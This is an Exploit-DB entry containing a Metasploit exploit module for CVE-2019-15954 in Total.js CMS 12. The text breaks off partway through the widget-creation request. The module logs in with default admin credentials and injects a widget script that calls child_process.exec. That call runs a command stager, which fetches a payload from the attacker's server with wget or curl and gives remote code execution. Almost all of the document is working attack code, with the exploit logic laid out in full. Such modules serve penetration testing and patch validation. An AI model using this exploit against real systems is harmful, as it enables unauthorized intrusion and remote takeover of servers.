Exploit-DB #47531
Description: Total.js CMS 12 - Widget JavaScript Code Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2019-10-22
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Total.js CMS 12 Widget JavaScript Code Injection',
      'Description'    => %q{
        This module exploits a vulnerability in Total.js CMS. The issue is that a user with
        admin permission can embed a malicious JavaScript payload in a widget, which is
        evaluated server side, and gain remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Riccardo Krauter', # Original discovery
          'sinn3r'            # Metasploit module
        ],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
          [ 'Total.js CMS on Mac',   { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
        ],
      'References'     =>
        [
          ['CVE', '2019-15954'],
          ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],
          ['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8000,
        },
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Privileged'     => false,
      'DisclosureDate' => '2019-08-30', # Reported to seclist
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),
        OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),
        OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])
      ])
  end

  class AdminToken
    attr_reader :token

    def initialize(cookie)
      @token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first
    end

    def blank?
      token.blank?
    end
  end

  class Widget
    attr_reader :name
    attr_reader :category
    attr_reader :source_code
    attr_reader :platform
    attr_reader :url

    def initialize(p, u, stager)
      @name = "p_#{Rex::Text.rand_text_alpha(10)}"
      @category = 'content'
      @platform = p
      @url = u
      @source_code  = %Q|<script total>|
      @source_code << %Q|global.process.mainModule.require('child_process')|
      @source_code << %Q|.exec("sleep 2;#{stager}");|
      @source_code << %Q|</script>|
    end
  end

  def check
    code = CheckCode::Safe

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'widgets')
    })

    unless res
      vprint_error('Connection timed out')
      return CheckCode::Unknown
    end

    # If the admin's login page is visited too many times, we will start getting
    # a 401 (unauthorized response). In that case, we only have a header to work
    # with.
    if res.headers['X-Powered-By'].to_s == 'Total.js'
      code = CheckCode::Detected
    end

    # If we are here, then that means we can still see the login page.
    # Let's see if we can extract a version.
    html = res.get_html_document
    element = html.at('title')
    return code unless element.respond_to?(:text)
    title = element.text.scan(/CMS v([\d\.]+)/).flatten.first
    return code unless title
    version = Gem::Version.new(title)

    if version <= Gem::Version.new('12')
      # If we are able to check the version, we could try the default cred and attempt
      # to execute malicious code and see how the application responds. However, this
      # seems to a bit too aggressive so I'll leave that to the exploit part.
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def auth(user, pass)
    json_body = { 'name' => user, 'password' => pass }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'),
      'ctype'  => 'application/json',
      'data'   => json_body
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    json_res = res.get_json_document
    cookies = res.get_cookies
    # If it's an array it could be an error, so we are specifically looking for a hash.
    if json_res.kind_of?(Hash) && json_res['success']
      token = AdminToken.new(cookies)
      @admin_token = token
      return token
    end
    fail_with(Failure::NoAccess, 'Invalid username or password')
  end

  def create_widget(admin_token)
    platform = target.platform.names.first
    host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
    port = datastore['SRVPORT']
    proto = datastore['SSL'] ? 'https' : 'http'
    payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
    url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
    widget = Widget.new(platform, url, generate_cmdstager(
        'Path' => "#{get_resource}/#{payload_name}",
        'temp' => '/tmp',
        'file' => payload_name
      ).join(';'))

    json_body = {
      'name'     => widget.name,
      'category' => widget.category,
      'body'     => widget.source_code
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
      'cookie' => "__admin=#{admin_token.token}",
      'ctype'  => 'application/json',
      'data'   => json_body